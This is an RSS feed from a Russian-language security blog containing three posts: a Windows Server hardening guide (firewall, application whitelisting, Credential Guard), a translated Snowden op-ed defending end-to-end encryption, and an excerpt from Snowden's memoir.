<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>cyberlifes</title><generator>teletype.in</generator><description><![CDATA[cyberlifes]]></description><image><url>https://teletype.in/files/c6/c685ccfb-7e11-4ba2-baa4-f4b78e59cb75.jpeg</url><title>cyberlifes</title><link>https://teletype.in/@cyberlifes</link></image><link>https://teletype.in/@cyberlifes?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/cyberlifes?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/cyberlifes?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 23 Apr 2026 23:16:50 GMT</pubDate><lastBuildDate>Thu, 23 Apr 2026 23:16:50 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/ByyZzQQoH</guid><link>https://teletype.in/@cyberlifes/ByyZzQQoH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/ByyZzQQoH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Защита Windows сервера</title><pubDate>Fri, 08 Nov 2019 17:12:22 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/1d/1d8dd3d5-996c-4647-974a-6ed0f860151e.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/1d/1d8dd3d5-996c-4647-974a-6ed0f860151e.png"></img>Тема безопасности сервера Windows не раз поднималась, в том числе и в этом блоге. Тем не менее мне хотелось бы еще раз освежить в памяти старые методы защиты и рассказать о малоизвестных новых. Разумеется, будем использовать по максимуму встроенные средства.]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/1d/1d8dd3d5-996c-4647-974a-6ed0f860151e.png" width="1280" />
  </figure>
  <p>Тема безопасности сервера Windows не раз поднималась, в том числе и в этом блоге. Тем не менее мне хотелось бы еще раз освежить в памяти старые методы защиты и рассказать о малоизвестных новых. Разумеется, будем использовать по максимуму встроенные средства.</p>
  <p>Итак, предположим, что у нас есть небольшая компания, которая арендует терминальный сервер в удаленном дата-центре.</p>
  <p>При проектировании любой защиты следует начинать с модели угроз — от кого или чего, собственно, будем защищаться. В нашей типовой конфигурации я буду строить оборону от внешних злобных хакеров, от некомпетентных (а может, и немного злонамеренных) пользователей. Начнем с внешнего периметра обороны— фаервола.</p>
  <h1>За тобой как за огненной стеной</h1>
  <p>Во времена Windows 2003 встроенный фаервол представлял собой жалкое зрелище, и в случае невозможности применения сторонних средств приходилось использовать IPSec. Пример такой настройки разобран, например, в материале <a href="https://mediumcube.com/mctalk/2010/01/03/setup-windows-firewall-using-ipsec/" target="_blank">Secure Windows Servers using IPSec Firewall</a>.</p>
  <p>Сейчас, с появлением WFP (<a href="https://docs.microsoft.com/en-us/windows/win32/fwp/windows-filtering-platform-start-page" target="_blank">Windows Filtering Platform</a>) дела стали получше. В принципе, с этим фаерволом так или иначе сталкивался, наверное, каждый системный администратор Windows, поэтому настройка удаленного доступа к серверу только с определенных IP не должна вызывать затруднений. Я обращу внимание на некоторые «фишки», которые используются редко.</p>
  <p>По умолчанию фаервол блокирует все входящие соединения, кроме явно разрешенных, но исходящие разрешает все, кроме явно запрещенных. Политику эту можно изменить, открыв управление фаерволом через wf.msc и выбрав «Свойства».</p>
  <p></p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/843/247/278/84324727844f52b04c72436b3b0190ae.jpg" width="617" />
  </figure>
  <p><em>Настройка фаервола.</em></p>
  <p>Теперь, если мы захотим запретить пользователям терминального сервера выходить с этого сервера в интернет — у нас это получится.</p>
  <blockquote>Стоит отметить, что при настройке правил доступа к серверу (входящие подключения) явно создавать правила для исходящего трафика не нужно. В терминах iptables — established и related всегда разрешены.</blockquote>
  <p>Для ценителей командной строки настройку фаервола можно производить в контексте netsh advfirewall. Почитать про команды можно в материале «<a href="http://www.oszone.net/11191/Windows_Firewall_CMD" target="_blank">Брандмауэр Windows 7 в режиме повышенной безопасности</a>», я же добавлю, что блокировка входящих и исходящих подключений включается командой:</p>
  <pre>netsh advfirewall set currentprofile firewallpolicy blockinbound,blockoutbound
</pre>
  <p>Еще одной особенностью фаервола windows является то, что любая программа или настройка меняет его правила без уведомлений. Например, отключили вы все правила на нашем дедике, рядом появился второй, вы сделали между ними локальную сеть, настроили общий доступ и… внезапно у вас включается smb для всех и вся со всеми вытекающими последствиями.</p>
  <p>Выхода, по сути, два с половиной (напомню, мы пока говорим только про встроенные средства): регулярно проверять, не изменились ли правила, и использовать старый добрый IPSec или — как по мне, самый разумный вариант — настраивать фаервол групповой политикой. Настройка производится в Конфигурация компьютера — Конфигурация Windows — Параметры Безопасности — Монитор брандмауэра Защитника Windows в режиме повышенной безопасности.</p>
  <p></p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/c09/9b2/f7c/c099b2f7c2be0024c3c5783d865308d4.jpg" width="1000" />
  </figure>
  <p><em>Настройка фаервола групповой политикой.</em></p>
  <p>Также при помощи фаервола windows можно реализовать простой fail2ban. Достаточно включить аудит неудачных попыток входа и при нескольких неудачах подряд блокировать IP источника. Можно использовать самописные скрипты, а можно уже готовые средства, о которых я писал в статье «<a href="https://habr.com/ru/company/pc-administrator/blog/325080/" target="_blank">Как дать шифровальщикам потопить компанию</a>».</p>
  <p>Если же встроенного фаервола не хватает и хочется использовать что-то более серьезное, то можно установить стороннее ПО. Жаль, что большинство известных решений для Windows Server — платные. Другим вариантом будет поставить перед сервером роутер. Понятно, что такая установка подойдет, если мы используем colocation, а не аренду сервера где-то далеко-далеко за рубежом. Если же зарубежный дата-центр — это наш выбор, то можно использовать виртуализацию — например, встроенный Hyper-V — и установить в виртуалку привычный GNU\Linux или FreeBSD.</p>
  <p>Возникает вопрос: как сделать так, чтоб виртуалка имела прямой выход в интернет, а сервер — нет? Да еще чтобы MAC-адрес сервера не светился хостеру и не требовал тем самым покупки еще одного IP-адреса.</p>
  <blockquote>Осторожно! Дальнейшие действия лучше проводить через IP-KVM!</blockquote>
  <p>Для этого виртуальную машину нужно снабдить двумя сетевыми адаптерами. Один — для непосредственного подключения к интернету, для него мы сделаем виртуальный коммутатор типа «внешний» и снимем галочку, разрешающую операционной системе взаимодействие с этим коммутатором. Этой самой галочкой мы лишим сервер прямого доступа в интернет (настройку виртуальной машины-фаервола лучше произвести заранее), и его MAC не будет светиться хостеру.</p>
  <p></p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/183/150/bd1/183150bd155c8e704802546314738394.jpg" width="896" />
  </figure>
  <p><em>Настройка внешнего виртуального коммутатора.</em></p>
  <p>Другой виртуальный коммутатор следует сделать типа «внутренний» для взаимодействия виртуальной машины и сервера. На нем уже нужно настроить локальную адресацию. Так получится создать виртуальный роутер, стоящий перед сервером и защищающий его.</p>
  <p>Заодно на этой виртуальной машине можно настроить любимый VPN до офиса или удаленных сотрудников, не заморачиваясь с ролью «Маршрутизация и удаленный доступ» или со встроенным IPSec, как я рассказывал в статье «<a href="https://habr.com/ru/company/pc-administrator/blog/320016/" target="_blank">Как я базы 1С в Германии прятал</a>». Главное, не забыть проверить автозапуск этой виртуальной машины при старте системы.</p>
  <p>Подключаться к такому серверу можно при помощи обычного RDP или использовать <a href="https://habr.com/ru/company/pc-administrator/blog/470525/" target="_blank">HTML5 клиенты</a> с двухфакторной аутентификацией. Стоит на случай брутфорса озаботиться и решениями fail2ban, и блокировкой учетной записи на некоторое время при нескольких неудачных попытках авторизации подряд.</p>
  <p>Снаружи сервер мы более-менее защитили, перейдем к защите внутренней.</p>
  <h1>Защита внутренняя: остановить и не пущать</h1>
  <p>Конечно, для защиты сервера изнутри очень хочется поставить какой-нибудь антивирус — мало ли что пользователи сервера накопируют или накачают из интернета. Но на практике антивирус на сервере может принести больше вреда, чем пользы. Поэтому я обычно использую механизмы блокировки запуска ПО не из белого списка — в частности, механизм SRP (software restriction policies), о котором я тоже упоминал в статье «<a href="https://habr.com/ru/company/pc-administrator/blog/325080/" target="_blank">Как дать шифровальщикам потопить компанию</a>».</p>
  <p>Остановлюсь чуть подробнее на одном подводном камне, о котором часто забываем при включении SRP со стандартными настройками, когда блокируется все, кроме папок Windows и Program Files. Действительно, это отфильтровывает почти всех зловредов. Но не очень работает со злонамеренностью сотрудников, ведь в системных папках есть подпапки с правом на создание объектов пользователями. Например, можно посмотреть на папку C:\Windows\Temp.</p>
  <p></p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/792/8a3/a92/7928a3a92823ab9ee919cdb456ed94da.jpg" width="800" />
  </figure>
  <p><em>Разрешения на папку, которая попадет в белый список.</em></p>
  <p>И такая папка не одна. Можно, конечно, проводить аудит системных папок самостоятельно, а можно довериться людям, которые это уже сделали. Например, специалист<em> Stefan Kanthak</em> в своем <a href="https://skanthak.homepage.t-online.de/SAFER.html" target="_blank">блоге</a> (по ссылке есть тестовый вирус EICAR, антивирус может сработать) в довольно агрессивной манере проходится по антивирусам и методам защиты Windows и заодно предлагает уже собранный пакет настроек SRP, который будет блокировать и такие подозрительные папки. По запросу автор предоставляет и программу для конвертирования этих настроек реестра в файлы локальных политик.</p>
  <p>Если вы предпочитаете использовать механизм AppLocker c более гибкими настройками, то вам может помочь решение <a href="https://github.com/microsoft/AaronLocker" target="_blank">AaronLocker</a>.</p>
  <blockquote>Редакция не рекомендует использовать и устанавливать скрипты и прочие программы из интернета без предварительного их изучения.</blockquote>
  <p>Если AppLocker появился уже довольно давно, а возраст SRP перевалил за 15 лет, то относительно свежей альтернативой является WDAC (Windows Defender Application Control). Действительно, со времен Security Essentials встроенный «антивирус» обзавелся многими интересными возможностями. Например, WDAC — модуль, который отвечает за политики доступа к приложениям и библиотекам. Ранее он являлся частью Device Guard (защита компьютера, в том числе с применением технологий виртуализации), и немного про его настройку рассказывалось в материале «<a href="http://www.outsidethebox.ms/18937/" target="_blank">Принцип работы S Mode в Windows 10 и настройка Device Guard своими руками</a>». Подробнее со всеми тонкостями можно ознакомиться в официальной <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control" target="_blank">документации</a>, мне же остается добавить несколько минусов, отличающих его от классических решений вроде SRP и AppLocker:</p>
  <ul>
    <li>Графической настройки нет, все через командлеты PowerShell.</li>
    <li>Нет настроек в срезе пользователя, только для компьютера.</li>
    <li>Настройка делается довольно непривычно — подготавливается файл в формате xml, который затем приводится к бинарному, и распространяется по компьютерам.</li>
  </ul>
  <p>Зато возможна настройка в срезе приложения: например, если вы хотите дать доступ к cmd.exe вашему скрипту, а не стороннему вирусу — это можно реализовать. Да еще и политику можно применить до загрузки системы, при помощи UEFI.</p>
  <p></p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/eef/b63/bfe/eefb63bfe3fd2313517544106174af73.jpg" width="680" />
  </figure>
  <p><em>Блокировка хрома через WDAC.</em></p>
  <p>В целом из-за тягостной настройки сложилось впечатление, что WDAC больше позиционируется не сам по себе для управления компьютерами, а как средство, позволяющее интегрироваться с централизованными MDM-системами вроде <a href="https://www.microsoft.com/en-us/microsoft-365/enterprise-mobility-security/microsoft-intune" target="_blank">Microsoft Intune</a>. Но при этом разработка старых добрых SRP <a href="https://docs.microsoft.com/en-us/windows/deployment/planning/windows-10-1803-removed-features" target="_blank">прекращена</a> в Windows 10 1803.</p>
  <p>Если говорить про Защитник Windows, нельзя не упомянуть про Credential Guard и Remote Credential Guard.</p>
  <p>Первое средство использует опять же виртуализацию, запуская компонент LSA (Local Security Authority) в изолированном от операционной системы процессе, что сильно усложняет процесс кражи хешей паролей и билетов Kerberos. Подробнее про технологию можно почитать в официальной <a href="https://docs.microsoft.com/ru-ru/windows/security/identity-protection/credential-guard/credential-guard" target="_blank">документации</a>. Для работы процессор должен поддерживать виртуализацию, а также в системе должна быть включена безопасная загрузка (Secure Boot) и модуль TPM для привязки учетных данных к оборудованию. Включить Credential Guard можно через групповую политику Конфигурация компьютера — Административные шаблоны — Система — Device Guard — Включить средство обеспечения безопасности на основе виртуализации.</p>
  <p></p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/e4d/88e/ade/e4d88eade072b25149d4a9a00c5d7e32.jpg" width="800" />
  </figure>
  <p><em>Включение Credential Guard.</em></p>
  <p>Второе средство служит для защиты передаваемых учетных данных (особенно админских!) для удаленного подключения, например, по тому же RDP. Ранее для этих целей предлагался механизм <a href="https://blogs.technet.microsoft.com/canitpro/2016/06/23/step-by-step-enabling-restricted-admin-mode-for-remote-desktop-connections/" target="_blank">Restricted Admin Mode</a>, но он ограничивал подключение только одним сервером. Подключившись к серверу, нельзя было просто так использовать ресурсы сети, права администратора применялись только к одному серверу а-ля системный аккаунт Local System.</p>
  <p>Remote Credential Guard позволяет передавать учетные данные с локальной машины удаленному серверу без явного ввода пароля, что, помимо расширенной безопасности, даст и удобство подключения к серверам (SSO). Почитать подробнее можно в <a href="https://docs.microsoft.com/ru-ru/windows/security/identity-protection/remote-credential-guard" target="_blank">документации</a>, ну а я добавлю, что для работы механизма достаточно включить его поддержку на сервере — например, через реестр командой:</p>
  <pre>reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0
</pre>
  <p>А потом подключаться к серверу командой:</p>
  <pre>mstsc.exe /remoteGuard
</pre>
  <p>Теперь учетные данные в безопасности, а сервер достаточно защищен. Правда, в материале я осознанно не касался вопросов защиты от злонамеренного хостера, но тут все сводится в общем-то к одному — к шифрованию дисков.</p>
  <p></p>
  <p>Автор статьи: Tri-Edge</p>
  <h3>by @CyberLifes2020</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/S1HLnFsYS</guid><link>https://teletype.in/@cyberlifes/S1HLnFsYS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/S1HLnFsYS?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Эдвард Сноуден: поле битвы — шифрование</title><pubDate>Mon, 21 Oct 2019 19:51:41 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/91/91033947-69ae-4262-a9c3-9bb5a0d7ddc6.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/58/58b5e913-540c-40db-a980-bd01ada94e40.png"></img> Эдвард Сноуден — бывший сотрудник ЦРУ и осведомитель, автор книги “Личное дело”. Он президент совета директоров Фонда «Свобода прессы».]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/58/58b5e913-540c-40db-a980-bd01ada94e40.png" width="1280" />
  </figure>
  <p></p>
  <p> Эдвард Сноуден — бывший сотрудник ЦРУ и осведомитель, автор книги “Личное дело”. Он президент совета директоров Фонда «Свобода прессы».</p>
  <p><em>«Если интернет-трафик не зашифрован, любое правительство, компания или преступник, могут заметить это. Они украдут его копию и ваши данные сохранятся у них навсегда». </em></p>
  <p> В каждой стране мира горит свет, полки забиты товарами, дамбы закрыты, а транспорт движется. Все это благодаря компьютерной безопасности. США проводили глобальную оценку угроз разведывательного ведомства США. Вот уже более пяти лет первое место в докладе </p>
  <p><a href="https://en.wikipedia.org/wiki/US_World_Wide_Threat_Assessment" target="_blank">«Оценка всемирных угроз»</a><a href="https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%B2%D0%B5%D0%B4%D1%8B%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D1%81%D1%82%D0%B2%D0%BE_%D0%A1%D0%A8%D0%90" target="_blank">Разведывательного сообщества США</a> занимает уязвимость наших компьютеров и компьютерных сетей — выше, чем угроза терроризма и угроза войны. Ваш баланс на карте, оборудование местной больницы и президентские выборы в США в 2020 году, помимо прочего, зависят от компьютерной безопасности.</p>
  <p> Сейчас мы переживаем величайший в истории кризис компьютерной безопасности. И все же, правительство США вместе с правительствами Великобритании и Австралии пытаются подорвать важность шифрования. Шифрование — единственный метод для надежной защиты информации в мире. Если они преуспеют в своем деле, наша общественная инфраструктура и частная жизнь будут под угрозой.</p>
  <p> Проще говоря, шифрование это метод защиты информации. Он является основным способом обеспечения безопасности цифровой связи. Интернет становится все более враждебным. При этом он запоминает все — каждое ваше электронное письмо, каждое слово введенное в строку поиска, каждую глупость, которую вы делали в интернете. Ранее в этом месяце США, наряду с Великобританией и Австралией, <a href="https://www.theguardian.com/technology/2019/oct/03/facebook-surveillance-us-uk-australia-backdoor-encryption" target="_blank">призвали Facebook создать «черный ход»</a></p>
  <p> в их зашифрованных мессенджерах. Он бы дал любому человеку с ключом от этого черного хода неограниченный доступ к личным перепискам. Это было бы роковой ошибкой. Facebook до сих пор не хочет этого делать.</p>
  <p> Если интернет-трафик не зашифрован, любое правительство, компания или преступник, могут заметить это. Они украдут его копию и ваши данные сохранятся у них навсегда. Однако, если вы шифруете этот трафик, вашу информацию нельзя прочесть. Ее могут расшифровать только те, у кого есть специальный ключ дешифрования.</p>
  <p> Я кое-что знаю об этом, потому что какое-то время я управлял частью глобальной системы массового наблюдения Агентства национальной безопасности США. В июне 2013 года <a href="https://www.theguardian.com/world/series/the-snowden-files" target="_blank">я работал с журналистами</a>, чтобы показать миру эту систему изнутри. </p>
  <figure class="m_original">
    <img src="https://habrastorage.org/getpro/habr/post_images/bbc/514/080/bbc514080b16038296da762bdcde5468.jpg" width="800" />
  </figure>
  <p> Без шифрования я не смог бы написать историю о том, как все это произошло. Только так я смог безопасно перевезти рукопись своей книги <a href="https://static.macmillan.com/static/holt/permanent-record-edward-snowden/" target="_blank">“Личное дело”</a> через границу. При том, что сам я ее пересечь не могу. Шифрование помогает всем выполнять свою работу — репортерам, диссидентам, активистам, работникам НПО и информаторам, врачам, юристам и политикам. Речь идет не только о самых опасных и репрессивных странах мира, но и о каждой отдельно взятой стране.</p>
  <p> Когда я разгласил информацию<a href="https://www.theguardian.com/world/2013/jun/09/edward-snowden-nsa-whistleblower-surveillance" target="_blank"> в 2013 году</a>, правительство США не только пассивно отслеживало интернет-трафик, когда он пересекал сеть. Они нашли способы привлекать американские технологические компании к сотрудничеству. Порой они проникали в их внутренние сети. В то время лишь небольшая часть веб-трафика была зашифрована. Шесть лет спустя Facebook, Google и Apple сделали шифрование основной частью своих продуктов по умолчанию. В результате около 80% веб-трафика сегодня зашифрованы. Даже бывший директор национальной разведки США <a href="https://www.theguardian.com/us-news/2016/nov/17/james-clapper-resigns-director-national-intelligence" target="_blank">Джеймс Клэппер</a> считает, что разоблачение массового наблюдения продвинуло коммерческое внедрение шифрования. В результате Интернет становится более безопасным местом. Слишком безопасным, по мнению некоторых правительств.</p>
  <p> Генеральный прокурор Дональда Трампа Уильям Барр утвердил одну из самых <a href="https://eu.usatoday.com/story/news/politics/2019/03/28/review-finds-phone-data-dragnet-dea-doj-began-without-legal-review/3299438002/" target="_blank">первых программ массового наблюдения</a>, не задумываясь о том законно ли это. Теперь он заявляет о намерении остановить прогресс последних шести лет или даже вернуться к начальной точке. WhatsApp, мессенджер, принадлежащий Facebook, уже использует <a href="https://ssd.eff.org/en/module/deep-dive-end-end-encryption-how-do-public-key-encryption-systems-work" target="_blank">сквозное шифрование (E2EE)</a>. В марте компания объявила о своем намерении включить E2EE в Facebook Messenger и Instagram. Барр запускает публичную кампанию, чтобы не позволить Facebook подняться на следующую ступеньку цифровой безопасности. Все началось с <a href="https://www.bbc.co.uk/news/technology-49919464" target="_blank">открытого письма</a>, подписанного Барром, министром внутренних дел Великобритании Прити Патель, министром внутренних дел Австралии и министром внутренней безопасности США. В письме требовали, чтобы Facebook отказался от своих предложений по шифрованию.</p>
  <p> Если кампания Барра будет успешной, миллиарды сообщений окажутся в состоянии постоянной незащищенности. Пользователей нарочно поставят в уязвимое положение. Личные переписки будут доступны не только следователям в США, Великобритании и Австралии, но и в спецслужбах Китая, России и Саудовской Аравии. Я уже не говорю о хакерах во всем мире.</p>
  <p> Сквозные зашифрованные системы связи спроектированы таким образом, что сообщения могут быть прочитаны только отправителями и их предполагаемыми получателями. Их можно прочесть даже если они зашифрованы. Эти сообщения хранятся у ненадежной третьей стороны. Например, у такой компании <a href="https://www.theguardian.com/technology/facebook" target="_blank">как Facebook</a>. </p>
  <p> E2EE гораздо лучше старых систем безопасности. В этой системе ключи, которые разблокируют любое сообщение, хранятся только на определенных устройствах в конечных точках связи. Если вы отправите сообщение, ключ сохранится на телефонах отправителя или получателя сообщения. Посредники, владеющие различными интернет-платформами, ничего не смогут сделать. Соответственно эти ключи нельзя украсть в случае массовых утечек корпоративных данных. Подобные утечки происходят часто и вредят нашей безопасности. E2EE позволяет таким компаниям, как Facebook, Google или Apple, защищать своих пользователей от пристального внимания. Пользуясь этой системой, компании гарантируют, что они больше не будут владеть ключами к нашим личным беседам. Их уже нельзя будет назвать всевидящим оком. Слепой курьер и то будет знать о вас больше чем эти корпорации.</p>
  <p> Мы живем в странном мире. Facebook — потенциально опасная компания. Компания, которая публично говорит о том, что хочет внедрить технологию, которая обезопасит пользователей. При этом Facebook ограничивают свои собственные возможности на благо других людей. А правительство США люто протестует против этого. Все потому что правительству из-за прихоти Facebook станет сложнее следить за частной жизнью людей. </p>
  <p> Чтобы оправдать свое несогласие с шифрованием, правительство США, как обычно, использует сказку о темных силах, живущих в сети. Правительство утверждает, им нужно находить террористов, наркодилеров и лиц, виновных в жестоком обращении с детьми. Разумеется, они не могут этого сделать без полного доступа к полной истории деятельности каждого человека в Facebook. На деле же преступления никогда не обсуждаются на общедоступных платформах, особенно американских. Преступники знают, что эти платформы используют самые сложные автоматические фильтры и все доступные методы отчетности.</p>
  <p> На самом деле правительства США, Великобритании и Австралии хотят отказаться от сквозного шифрования не из-за общественной безопасности, а скорее из-за власти. Мы отправляем и получаем множество сообщений. E2EE дает нам и устройствам, которые мы используем, особый контроль над ними. У компаний и у других третьих лиц, через которые проходят эти сообщения, больше нет контроля. Из-за этого государственный надзор должен стать более целенаправленным и методичным, а не беспорядочным и универсальным.</p>
  <p> Это изменение влечет за собой только один риск — способность стран шпионить за населением в массовом масштабе. Им придется использовать способ посложнее бумажной работы. Правительству стоит ограничить количество личных записей и конфиденциальных сообщений, которыми владеют компании. Так мы вернемся к классическим методам расследования. Эти методы не только эффективны, но и уважают права человека, в отличии от тотального надзора. В таком случае мы будем в безопасности. Мы будем свободны.</p>
  <p><em>Перевод: Диана Шеремьева</em></p>
  <h3>by  @Cyberlifes</h3>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@cyberlifes/SypUd63_B</guid><link>https://teletype.in/@cyberlifes/SypUd63_B?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes</link><comments>https://teletype.in/@cyberlifes/SypUd63_B?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=cyberlifes#comments</comments><dc:creator>cyberlifes</dc:creator><title>Эдвард Сноуден рассказывает, почему он стал информатором</title><pubDate>Thu, 10 Oct 2019 15:03:48 GMT</pubDate><media:content medium="image" url="https://teletype.in/files/14/142f13c3-38f8-4324-89f2-cf0c13136e58.png"></media:content><description><![CDATA[<img src="https://teletype.in/files/69/69c22182-4615-4ebf-b338-a76e5e3f3adf.png"></img>Отрывок из книги «Постоянная запись»; как молодой человек, работавший системным администратором, обнаружил посягательства на свободу и решил предать гласности обширную американскую систему слежки за гражданами]]></description><content:encoded><![CDATA[
  <figure class="m_original">
    <img src="https://teletype.in/files/69/69c22182-4615-4ebf-b338-a76e5e3f3adf.png" width="1280" />
  </figure>
  <p></p>
  <p><em>Отрывок из книги «Постоянная запись»; как молодой человек, работавший системным администратором, обнаружил посягательства на свободу и решил предать гласности обширную американскую систему слежки за гражданами</em></p>
  <p> Когда мне было 22, я устроился на работу в американскую разведку, политических взглядов у меня не было. Как у большинства молодых людей, у меня был набор чётких взглядов, которые на самом деле были не совсем моими (хотя я и отказывался это признавать) – это был противоречивый набор унаследованных принципов. В моей голове существовала каша из ценностей, с которыми меня воспитывали, и идеалов, встреченных мною в интернете.</p>
  <p> Только ближе к 30 годам я, наконец, понял, что большая часть того, во что я верил, или того, во что я думал, что верю, была просто импринтингом молодости. Мы учимся говорить, имитируя речь окружающих нас взрослых, и в процессе этого обучения имитируем также их мнения, пока не окажемся в состоянии ошибочного убеждения в том, что нас окружает наш собственный мир.</p>
  <p> Мои родители, если и не отвергали политику в целом, то уж точно отвергали политиков. И это не было похоже на недовольство людей, не ходящих на выборы, или на фанатичное пренебрежение. Это было странное отторжение, присущее классу, который раньше называли федеральной государственной службой или государственным сектором, а в наше время предпочитают называть глубинным государством или теневым правительством.</p>
  <p> Но эти эпитеты по-настоящему не описывают реальности: класс карьерных чиновников (кстати, возможно, представителей одной из последних прослоек, принадлежащих к среднему классу США), которых никто не выбирал и не назначал, и которые работали на правительство либо в составе независимых агентств (ЦРУ, АНБ, налоговая, федеральная комиссия связи, и т.п.), либо в составе исполнительных департаментов (министерств юстиции, обороны, финансов, госдепа и т.д.).</p>
  <p> Это были мои родители, это были мои люди: почти трёхмиллионная профессиональная правительственная рабочая сила, призванная помогать любителям (выбранным электоратом или назначенным выборными лицами) в реализации их политических обязанностей – или, как говорится в клятве, верном исполнении их службы. Эти слуги народа, остающиеся на своих должностях вне зависимости от смены администрации, усердно трудятся как под республиканцами, так и под демократами, поскольку они, по сути, работают на правительство, обеспечивая непрерывное и стабильное управление.</p>
  <p> А ещё это были люди, ответившие на вызов, когда страна оказалась на военном положении. Я сделал это после 9/11, и обнаружил, что патриотизм, привитый мне моими родителями, очень легко трансформируется в пылкий национализм. Какое-то время, особенно после того, как я пошёл в армию, моё мироощущение напоминало дуализм простейших видеоигр, в которых добро и зло определяются очень чётко и неоспоримо.</p>
  <p> Однако, вернувшись из армии, и занявшись работой с компьютерами, я постепенно начал сожалеть о своих военных фантазиях. Чем больше я развивал свои способности, тем более я взрослел и понимал, что у технологии общения есть шансы на успех там, где не справилась технология насилия. Демократию нельзя насаждать под дулом пистолета, но, возможно, её можно сеять, распространяя кремний и оптоволокно.</p>
  <p> В начале 2000-х интернет едва только вышел из периода формирования, и, по-моему, он предлагал более аутентичное и полное воплощение американских идеалов, чем даже сама Америка. Место, где все были равны? Да. Место, посвящённое жизни, свободе и поиску счастья? Да. Да, да, да.</p>
  <p> Делу помогало то, что почти все главные документы, формировавшие интернет-культуру, описывали её в терминах, похожих на американскую историю: существовали дикие, открытые рубежи, принадлежавшие всем, кто был достаточно смел, чтобы обосноваться там; но эти рубежи очень быстро начали колонизировать правительства и корпорации, пытавшиеся регулировать их в целях получения власти и прибыли. Крупные компании, просившие большие деньги за железо, ПО, за междугородние звонки, которые нужны были тогда для выхода в интернет, и за сами знания, которые были наследием всего человечества, и по-хорошему, должны были быть бесплатными, до невозможности напоминали мне британскую империю, чьи жёсткие налоги зажгли огонь независимости [в США].</p>
  <p> Эта революция происходила не в книжках по истории, она была сейчас, во время жизни моего поколения, и каждый из нас мог стать её частью согласно своим возможностям. Это было потрясающе – участвовать в основании нового сообщества, основанного не на том, где родился, как вырос человек, насколько популярным он был в школе, но на наших знаниях и технических возможностях.</p>
  <p> В школе мне нужно было выучить предисловие к Конституции США. Теперь эти слова в моей памяти накрепко сплелись с &quot;</p>
  <p><a href="https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BA%D0%BB%D0%B0%D1%80%D0%B0%D1%86%D0%B8%D1%8F_%D0%BD%D0%B5%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_%D0%BA%D0%B8%D0%B1%D0%B5%D1%80%D0%BF%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%B0" target="_blank">декларацией независимости киберпространства</a></p>
  <p>&quot; </p>
  <p><a href="https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D1%80%D0%BB%D0%BE%D1%83,_%D0%94%D0%B6%D0%BE%D0%BD_%D0%9F%D0%B5%D1%80%D1%80%D0%B8" target="_blank">Джона Перри Барлоу</a></p>
  <p>, в которой встречается то же самое самоочевидное и самоизбранное местоимение множественного числа: «Мы создаём мир, в который каждый может войти, не имея привилегий и не встречая предвзятого отношения, основанного на расе, экономических возможностях, военной силе или месте рождения. Мы создаём мир, в котором любой человек из любого места может выражать своё мнение, неважно, насколько уникальное, не боясь, что его заставят молчать или подчиняться».</p>
  <p> Такая технологическая меритократия могла давать как вдохновение, так и смирение – как понял я, устроившись на должность работника умственного труда. Децентрализация интернета подчеркнула децентрализацию компьютерной компетентности. Я мог быть лучшим компьютерщиком в семье, или в Вашингтоне, но на такой работе приходилось сравнивать свои навыки с навыками всех жителей страны и даже мира. Интернет показал мне всё количество и разнообразие существующих талантов, и чётко дал понять, что для процветания мне придётся выбрать специализацию.</p>
